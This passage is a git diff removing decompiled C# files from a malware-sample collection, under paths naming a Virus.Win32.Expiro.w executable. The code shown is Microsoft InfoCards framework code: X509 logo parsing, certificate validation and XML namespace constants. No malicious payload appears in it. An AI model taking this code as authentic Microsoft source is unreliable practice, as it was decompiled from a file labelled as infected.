a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoDataType.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoDataType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum X509LogoDataType - { - Image, - Audio, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoType.cs deleted file mode 100644 index 2e7ee8fc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoType.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum X509LogoType : byte - { - Community = 160, // 0xA0 - Issuer = 161, // 0xA1 - Subject = 162, // 0xA2 - Other = 163, // 0xA3 - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoTypeExtension.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoTypeExtension.cs deleted file mode 100644 index 1fd7ccad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoTypeExtension.cs +++ /dev/null @@ -1,201 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoTypeExtension -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class X509LogoTypeExtension : X509Extension - { - private const string szOID_LOGO_TYPES = "1.3.6.1.5.5.7.1.12"; - private const byte OctetStringTag = 4; - private const byte ObjectIdentifierTag = 6; - private const byte StringTag = 22; - private const byte SequenceTag = 48; - private const byte DirectTag = 160; - private const byte IndirectTag = 161; - private const byte AudioLogoTypeDataTag = 161; - private List m_logos = new List(); - private bool m_decodePathComplete; - - public List Logos => this.m_logos; - - public void TryDecodeExtension() - { - try - { - this.DecodeExtension(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - InfoCardTrace.TraceAndLogException(ex); - } - this.m_decodePathComplete = true; - } - - public X509LogoTypeExtension(byte[] rawData) - : base("1.3.6.1.5.5.7.1.12", rawData, false) - { - } - - public static X509LogoTypeExtension FromCertificate( - X509Certificate2 certificate) - { - return certificate.Extensions == null || certificate.Extensions["1.3.6.1.5.5.7.1.12"] == null ? (X509LogoTypeExtension) null : new X509LogoTypeExtension(certificate.Extensions["1.3.6.1.5.5.7.1.12"].RawData); - } - - public override void CopyFrom(AsnEncodedData asnEncodedData) - { - base.CopyFrom(asnEncodedData); - this.Critical = false; - this.m_decodePathComplete = false; - } - - public override string ToString() => base.ToString(); - - private void DecodeExtension() - { - BinaryReader br = (BinaryReader) new InfoCardBinaryReader((Stream) new MemoryStream(this.RawData)); - ASCIIEncoding asciiEncoding = new ASCIIEncoding(); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - while (!this.ReachedEndPosition(br.BaseStream.Position, br.BaseStream.Length)) - { - Dictionary hashes = new Dictionary(); - List fileLocations = new List(); - X509LogoType logoType = (X509LogoType) br.ReadByte(); - long position = br.BaseStream.Position; - long num1 = (long) this.ReadAsnByteLength(br); - long num2 = br.BaseStream.Position + num1; - if (X509LogoType.Subject != logoType && X509LogoType.Issuer != logoType) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedType"))); - byte input1 = br.ReadByte(); - this.VerifyByte(input1, new byte[2] - { - (byte) 160, - (byte) 161 - }); - this.ReadAsnByteLength(br); - if ((byte) 161 == input1) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedIndirectReferences"))); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - byte input2 = br.ReadByte(); - bool flag; - if ((byte) 161 == input2) - { - flag = false; - InfoCardTrace.TraceAndLogException((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedAudio"))); - this.VerifyByte(br.ReadByte(), (byte) 48); - } - else - { - flag = true; - this.VerifyByte(input2, (byte) 48); - } - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 22); - int count1 = this.ReadAsnByteLength(br); - string mediaType = asciiEncoding.GetString(br.ReadBytes(count1)); - this.VerifyByte(br.ReadByte(), (byte) 48); - int num3 = this.ReadAsnByteLength(br); - long endPosition1 = br.BaseStream.Position + (long) num3; - while (!this.ReachedEndPosition(br.BaseStream.Position, endPosition1)) - { - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 48); - int num4 = this.ReadAsnByteLength(br); - long num5 = br.BaseStream.Position + (long) num4; - Oid key = this.ReadObjectIdentifier(br); - br.BaseStream.Position = num5; - this.VerifyByte(br.ReadByte(), (byte) 4); - int count2 = this.ReadAsnByteLength(br); - byte[] numArray = br.ReadBytes(count2); - hashes[key] = numArray; - } - this.VerifyByte(br.ReadByte(), (byte) 48); - int num6 = this.ReadAsnByteLength(br); - long endPosition2 = br.BaseStream.Position + (long) num6; - while (!this.ReachedEndPosition(br.BaseStream.Position, endPosition2)) - { - this.VerifyByte(br.ReadByte(), (byte) 22); - int count3 = this.ReadAsnByteLength(br); - fileLocations.Add(asciiEncoding.GetString(br.ReadBytes(count3))); - } - if (br.BaseStream.Position != num2) - br.BaseStream.Position = num2; - if (flag) - this.m_logos.Add((X509Logo) new X509ImageLogo(logoType, mediaType, hashes, fileLocations)); - } - } - - private void VerifyByte(byte input, byte[] expected) - { - foreach (int num in expected) - { - if (num == (int) input) - return; - } - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidLogoType"))); - } - - private void VerifyByte(byte input, byte expected) - { - if ((int) input != (int) expected) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidLogoType"))); - } - - private bool ReachedEndPosition(long currentPosition, long endPosition) - { - if (currentPosition > endPosition) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidCertificateLength"))); - return currentPosition == endPosition; - } - - private int ReadAsnByteLength(BinaryReader br) - { - byte num1 = br.ReadByte(); - if (((int) num1 & 128) == 0) - return (int) num1; - int num2 = (int) num1 & (int) sbyte.MaxValue; - if (num2 < 1 || num2 > 4) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidAsnLength"))); - byte[] numArray = br.ReadBytes((int) num1 & (int) sbyte.MaxValue); - int num3 = 0; - foreach (int num4 in numArray) - num3 = num4 + (num3 << 8); - return num3; - } - - private Oid ReadObjectIdentifier(BinaryReader br) - { - this.VerifyByte(br.ReadByte(), (byte) 6); - int count = this.ReadAsnByteLength(br); - byte[] numArray = br.ReadBytes(count); - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.AppendFormat("{0}.{1}.", (object) ((int) numArray[0] / 40), (object) ((int) numArray[0] % 40)); - for (int index = 1; index < count; ++index) - { - stringBuilder.Append(numArray[index].ToString((IFormatProvider) CultureInfo.InvariantCulture)); - if (index != count - 1) - stringBuilder.Append('.'); - } - return new Oid(stringBuilder.ToString()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509RecipientIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509RecipientIdentity.cs deleted file mode 100644 index 63bd6d50..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509RecipientIdentity.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509RecipientIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel; - -namespace Microsoft.InfoCards -{ - internal class X509RecipientIdentity : RecipientIdentity - { - private X509Certificate2Collection m_certificates; - private Recipient.RecipientCertParameters m_recipientParams; - private bool isChainTrusted; - - public Recipient.RecipientCertParameters RecipientParams => this.m_recipientParams; - - public X509Certificate2 LeafCertificate => this.m_certificates[0]; - - public X509RecipientIdentity(EndpointAddress epr, X509Certificate2Collection certificates) - : base(epr) - { - this.m_certificates = certificates; - } - - public override void Validate() - { - if (this.HasBeenValidated) - return; - this.isChainTrusted = this.ValidateCertificate(); - this.Identifier = Recipient.CertGetRecipientIdHash(this.LeafCertificate, this.m_certificates, this.isChainTrusted, out this.m_recipientParams); - this.OrganizationIdentifier = Recipient.CertGetRecipientOrganizationIdHash(this.LeafCertificate, this.m_certificates, this.ValidateCertificate()); - this.OrganizationPPIDIdentifier = Recipient.CertGetRecipientOrganizationPPIDSeedHash(this.LeafCertificate, this.m_certificates, this.ValidateCertificate()); - this.HasBeenValidated = true; - } - - public override string GetName() - { - string name = this.LeafCertificate.FriendlyName; - if (string.IsNullOrEmpty(name)) - name = this.LeafCertificate.GetNameInfo(X509NameType.SimpleName, false); - return name; - } - - private bool ValidateCertificate() - { - bool chainTrustPassed = false; - try - { - InfoCardX509Validator.ValidateChainOrPeer(this.LeafCertificate, this.m_certificates, out chainTrustPassed); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - } - return chainTrustPassed; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/XmlNames.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/XmlNames.cs deleted file mode 100644 index f4f893a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/XmlNames.cs +++ /dev/null @@ -1,863 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.XmlNames -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class XmlNames - { - private XmlNames() - { - } - - public static XmlNamespaceManager CreateNamespaceManager( - XmlNameTable nameTable) - { - XmlNamespaceManager namespaceManager = new XmlNamespaceManager(nameTable); - namespaceManager.AddNamespace("saml", "urn:oasis:names:tc:SAML:1.0:assertion"); - namespaceManager.AddNamespace("soap", "http://www.w3.org/2003/05/soap-envelope"); - namespaceManager.AddNamespace("wsa", "http://www.w3.org/2005/08/addressing"); - namespaceManager.AddNamespace("wsid", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - namespaceManager.AddNamespace("wsmex", "http://schemas.xmlsoap.org/ws/2004/09/mex"); - namespaceManager.AddNamespace("wsp", "http://schemas.xmlsoap.org/ws/2004/09/policy"); - namespaceManager.AddNamespace("wsse", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - namespaceManager.AddNamespace("wssu", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"); - namespaceManager.AddNamespace("wxf", "http://schemas.xmlsoap.org/ws/2004/09/transfer"); - namespaceManager.AddNamespace("wst", "http://schemas.xmlsoap.org/ws/2005/02/trust"); - namespaceManager.AddNamespace("dsig", "http://www.w3.org/2000/09/xmldsig#"); - namespaceManager.AddNamespace("enc", "http://www.w3.org/2001/04/xmlenc#"); - namespaceManager.AddNamespace("xsd", "http://www.w3.org/2001/XMLSchema"); - return namespaceManager; - } - - internal sealed class Saml11 - { - public const string DefaultPrefix = "saml"; - public const string Namespace = "urn:oasis:names:tc:SAML:1.0:assertion"; - public const string AltNamespace = "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1"; - - private Saml11() - { - } - } - - internal sealed class Saml10 - { - public const string DefaultPrefix = "saml"; - public const string Namespace = "urn:oasis:names:tc:SAML:1.0:assertion"; - public const string Bearer = "urn:oasis:names:tc:SAML:1.0:cm:bearer"; - - private Saml10() - { - } - } - - internal sealed class Xml - { - public const string DefaultPrefix = "xml"; - public const string Namespace = "http://www.w3.org/XML/1998/namespace"; - public const string Language = "lang"; - public const string DateTimeFormat = "yyyy-MM-ddTHH:mm:ssZ"; - - private Xml() - { - } - } - - internal sealed class XmlSchema - { - public const string DefaultPrefix = "xsd"; - public const string Namespace = "http://www.w3.org/2001/XMLSchema"; - public const string SchemaLocation = "http://www.w3.org/2001/xml.xsd"; - public const string LocalSchemaLocation = "xml.xsd"; - - private XmlSchema() - { - } - } - - internal sealed class WSAddressing - { - public const string DefaultPrefix = "wsa"; - public const string Namespace = "http://www.w3.org/2005/08/addressing"; - public const string SchemaLocation = "http://www.w3.org/2005/08/addressing/addressing.xsd"; - public const string LocalSchemaLocation = "addressing.xsd"; - public const string EndpointReference = "EndpointReference"; - public const string Address = "Address"; - - private WSAddressing() - { - } - } - - internal sealed class WSAddressing04 - { - public const string DefaultPrefix = "wsa04"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/08/addressing"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/08/addressing/"; - public const string LocalSchemaLocation = "addressing04.xsd"; - - private WSAddressing04() - { - } - } - - internal sealed class WSPolicy - { - public const string DefaultPrefix = "wsp"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/policy"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/09/policy/ws-policy.xsd"; - public const string LocalSchemaLocation = "ws-policy.xsd"; - public const string Policy = "Policy"; - public const string AppliesTo = "AppliesTo"; - - private WSPolicy() - { - } - } - - internal enum WSSpecificationVersion - { - WSPolicyXmlSoap2004, - WSPolicyW32007, - WSTrustXmlSoap2005, - WSTrustOasis2007, - WSSecurityPolicyXmlSoap2005, - WSSecurityPolicyOasis2007, - } - - internal interface IWSSpecification - { - XmlNames.WSSpecificationVersion Version { get; } - } - - internal interface IWSPolicy : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string Policy { get; } - - string AppliesTo { get; } - } - - internal sealed class WSPolicyXmlSoap2004 : XmlNames.IWSPolicy, XmlNames.IWSSpecification - { - public const string c_DefaultPrefix = "wsp2004"; - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2004/09/policy"; - public const string c_AppliesTo = "AppliesTo"; - public static XmlNames.WSPolicyXmlSoap2004 Instance = new XmlNames.WSPolicyXmlSoap2004(); - - private WSPolicyXmlSoap2004() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSPolicyXmlSoap2004; - - public string DefaultPrefix => "wsp2004"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2004/09/policy"; - - public string SchemaLocation => this.Namespace + "/ws-policy.xsd"; - - public string LocalSchemaLocation => "ws-policy.xsd"; - - public string Policy => nameof (Policy); - - public string AppliesTo => nameof (AppliesTo); - } - - internal sealed class WSPolicyW32007 : XmlNames.IWSPolicy, XmlNames.IWSSpecification - { - public const string c_DefaultPrefix = "wsp2007"; - public const string c_Namespace = "http://www.w3.org/ns/ws-policy"; - public const string c_AppliesTo = "AppliesTo"; - public static XmlNames.WSPolicyW32007 Instance = new XmlNames.WSPolicyW32007(); - - private WSPolicyW32007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSPolicyW32007; - - public string DefaultPrefix => "wsp2007"; - - public string Namespace => "http://www.w3.org/ns/ws-policy"; - - public string SchemaLocation => "http://www.w3.org/2007/02/ws-policy.xsd"; - - public string LocalSchemaLocation => "ws-policy-2007.xsd"; - - public string Policy => nameof (Policy); - - public string AppliesTo => nameof (AppliesTo); - } - - internal sealed class XmlEnc - { - public const string DefaultPrefix = "enc"; - public const string Namespace = "http://www.w3.org/2001/04/xmlenc#"; - public const string EncryptedData = "EncryptedData"; - public const string EncryptionMethod = "EncryptionMethod"; - public const string EncryptionProperties = "EncryptionProperties"; - public const string CipherData = "CipherData"; - public const string CipherValue = "CipherValue"; - public const string Encoding = "Encoding"; - public const string MimeType = "MimeType"; - public const string Type = "Type"; - public const string Id = "Id"; - public const string Algorithm = "Algorithm"; - public const string LocalSchemaLocation = "xenc-schema.xsd"; - public const string SchemaLocation = "http://www.w3.org/TR/xmlenc-core/xenc-schema.xsd"; - - private XmlEnc() - { - } - } - - internal sealed class XmlDSig - { - public const string DefaultPrefix = "dsig"; - public const string Namespace = "http://www.w3.org/2000/09/xmldsig#"; - public const string SchemaLocation = "http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd"; - public const string LocalSchemaLocation = "xmldsig-core-schema.xsd"; - public const string X509CertificateElement = "X509Certificate"; - public const string X509IssuerSerialElement = "X509IssuerSerial"; - public const string X509IssuerNameElement = "X509IssuerName"; - public const string X509SerialNumberElement = "X509SerialNumber"; - public const string X509DataElement = "X509Data"; - public const string RSAKeyValueElement = "RSAKeyValue"; - public const string Signature = "Signature"; - public const string KeyInfo = "KeyInfo"; - public const string KeyValue = "KeyValue"; - - private XmlDSig() - { - } - } - - internal sealed class WSSecurityPolicy - { - public const string DefaultPrefix = "sp"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/ws-securitypolicy.xsd"; - public const string LocalSchemaLocation = "ws-securitypolicy.xsd"; - public const string RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - - private WSSecurityPolicy() - { - } - } - - internal interface IWSSecurityPolicy : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string RequestSecurityTokenTemplate { get; } - } - - internal sealed class WSSecurityPolicyXmlSoap2005 : - XmlNames.IWSSecurityPolicy, - XmlNames.IWSSpecification - { - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - public const string c_RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - public static XmlNames.WSSecurityPolicyXmlSoap2005 Instance = new XmlNames.WSSecurityPolicyXmlSoap2005(); - - private WSSecurityPolicyXmlSoap2005() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSSecurityPolicyXmlSoap2005; - - public string DefaultPrefix => "sp"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - - public string SchemaLocation => "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/ws-securitypolicy.xsd"; - - public string LocalSchemaLocation => "ws-securitypolicy.xsd"; - - public string RequestSecurityTokenTemplate => nameof (RequestSecurityTokenTemplate); - } - - internal sealed class WSSecurityPolicyOasis2007 : - XmlNames.IWSSecurityPolicy, - XmlNames.IWSSpecification - { - public const string c_Namespace = "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512"; - public const string c_RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - public static XmlNames.WSSecurityPolicyOasis2007 Instance = new XmlNames.WSSecurityPolicyOasis2007(); - - private WSSecurityPolicyOasis2007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSSecurityPolicyOasis2007; - - public string DefaultPrefix => "sp"; - - public string Namespace => "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512"; - - public string SchemaLocation => "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512/ws-securitypolicy-1.2.xsd"; - - public string LocalSchemaLocation => "ws-securitypolicy-1.2.xsd"; - - public string RequestSecurityTokenTemplate => nameof (RequestSecurityTokenTemplate); - } - - internal sealed class WSSecurityUtility - { - public const string DefaultPrefix = "wssu"; - public const string Namespace = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string SchemaLocation = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string LocalSchemaLocation = "oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string Created = "Created"; - public const string Expires = "Expires"; - - private WSSecurityUtility() - { - } - } - - internal sealed class WSSecurityExt - { - public const string DefaultPrefix = "wsse"; - public const string Namespace = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string SchemaLocation = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string LocalSchemaLocation = "oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string Sha1ThumbprintKeyTypeValue = "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1"; - public const string AltSha1ThumbprintKeyTypeValue = "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1"; - public const string KeyIdentifierElement = "KeyIdentifier"; - public const string ValueTypeAttribute = "ValueType"; - - private WSSecurityExt() - { - } - } - - internal sealed class WSMetadataExchange - { - public const string DefaultPrefix = "wsmex"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/mex"; - public const string LocalSchemaLocation = "MetadataExchange.xsd"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/09/mex/MetadataExchange.xsd"; - - private WSMetadataExchange() - { - } - } - - internal sealed class Soap11 - { - public const string DefaultPrefix = "soap"; - public const string Namespace = "http://schemas.xmlsoap.org/soap/envelope/"; - - private Soap11() - { - } - } - - internal sealed class Soap12 - { - public const string DefaultPrefix = "soap"; - public const string Namespace = "http://www.w3.org/2003/05/soap-envelope"; - - private Soap12() - { - } - } - - internal sealed class WSIdentity - { - public const string DefaultPrefix = "wsid"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/05/identity"; - public const string LocalSchemaLocation = "identity.xsd"; - public const string ClaimElement = "ClaimType"; - public const string SupportedClaimTypeElement = "SupportedClaimType"; - public const string ProvisionAtElement = "ProvisionAt"; - public const string RequestBrowserToken = "RequestBrowserToken"; - public const string Identity = "Identity"; - public const string DictionaryUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims"; - public const string SelfIssuerUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self"; - public const string AnonymousIssuerUri = "http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"; - public const string PersonalCategoryUri = "http://icardissuer.microsoft.com/categories/identitycard"; - public const string UserNamePasswordAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/UsernamePassword"; - public const string KerberosV5Auth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/KerberosV5"; - public const string X509V3SoftAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/X509V3Soft"; - public const string X509V3SmartCardAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/X509V3SmartCard"; - public const string SelfIssuedAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/SelfIssuedToken"; - public const string RequestDisplayTokenElement = "RequestDisplayToken"; - public const string RequestedDisplayTokenElement = "RequestedDisplayToken"; - public const string DisplayTokenElement = "DisplayToken"; - public const string DisplayTokenTextElement = "DisplayTokenText"; - public const string DisplayClaimElement = "DisplayClaim"; - public const string DisplayTagElement = "DisplayTag"; - public const string DisplayValueElement = "DisplayValue"; - public const string DescriptionElement = "Description"; - public const string InfoCardElement = "InformationCard"; - public const string RoamingInfoCardElement = "RoamingInformationCard"; - public const string InfoCardRefElement = "InformationCardReference"; - public const string CardNameElement = "CardName"; - public const string CardImageElement = "CardImage"; - public const string CardIdElement = "CardId"; - public const string CardVersionElement = "CardVersion"; - public const string IssuerNameElement = "IssuerName"; - public const string IssuerElement = "Issuer"; - public const string IssuerUriElement = "IssuerUri"; - public const string TimeIssuedElement = "TimeIssued"; - public const string TimeExpiresElement = "TimeExpires"; - public const string SupportedClaimTypeListElement = "SupportedClaimTypeList"; - public const string SupportedTokenTypeListElement = "SupportedTokenTypeList"; - public const string RequirePinProtectionElement = "RequirePinProtection"; - public const string TokenServiceListElement = "TokenServiceList"; - public const string TokenServiceElement = "TokenService"; - public const string UserCredentialElement = "UserCredential"; - public const string DisplayCredentialHintElement = "DisplayCredentialHint"; - public const string UserNamePasswordCredentialElement = "UsernamePasswordCredential"; - public const string X509V3CredentialElement = "X509V3Credential"; - public const string KerberosV5CredentialElement = "KerberosV5Credential"; - public const string SelfIssuedCredentialElement = "SelfIssuedCredential"; - public const string RequireAppliesToElement = "RequireAppliesTo"; - public const string UserNameElement = "Username"; - public const string PrivatePersonalIdentifierElement = "PrivatePersonalIdentifier"; - public const string MaxTokenAgeElement = "MaxTokenAge"; - public const string OpaqueEndPointElement = "OpaqueEndpoint"; - public const string UriAttribute = "Uri"; - public const string OptionalAttribute = "Optional"; - public const string MimeTypeAttribute = "MimeType"; - public const string MethodAttribute = "Method"; - public const string PrivacyNoticeAtElement = "PrivacyNotice"; - public const string PrivacyNoticeVersionAttribute = "Version"; - public const string IsManagedElement = "IsManaged"; - public const string MasterKeyElement = "MasterKey"; - public const string PinDigestElement = "PinDigest"; - public const string HashSaltElement = "HashSalt"; - public const string TimeLastUpdatedElement = "TimeLastUpdated"; - public const string ClaimValueElement = "ClaimValue"; - public const string RoamingStoreElement = "RoamingStore"; - public const string IsSelfIssuedElement = "IsSelfIssued"; - public const string StoreSaltElement = "StoreSalt"; - public const string IssuerIdElement = "IssuerId"; - public const string IterationCountElement = "IterationCount"; - public const string EncryptedStoreElement = "EncryptedStore"; - public const string BackgroundColorElement = "BackgroundColor"; - public const string UserPrincipalNameElement = "UserPrincipalName"; - public const string InfoCardMetaDataElement = "InformationCardMetaData"; - public const string InfoCardPrivateDataElement = "InformationCardPrivateData"; - public const string ClaimValueListElement = "ClaimValueList"; - public const string ValueElement = "Value"; - public const string ThumbprintUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/keyThumbprintSHA1"; - public const string ClientPseudonym = "ClientPseudonym"; - public const string PPID = "PPID"; - public const string FaultNamespace = 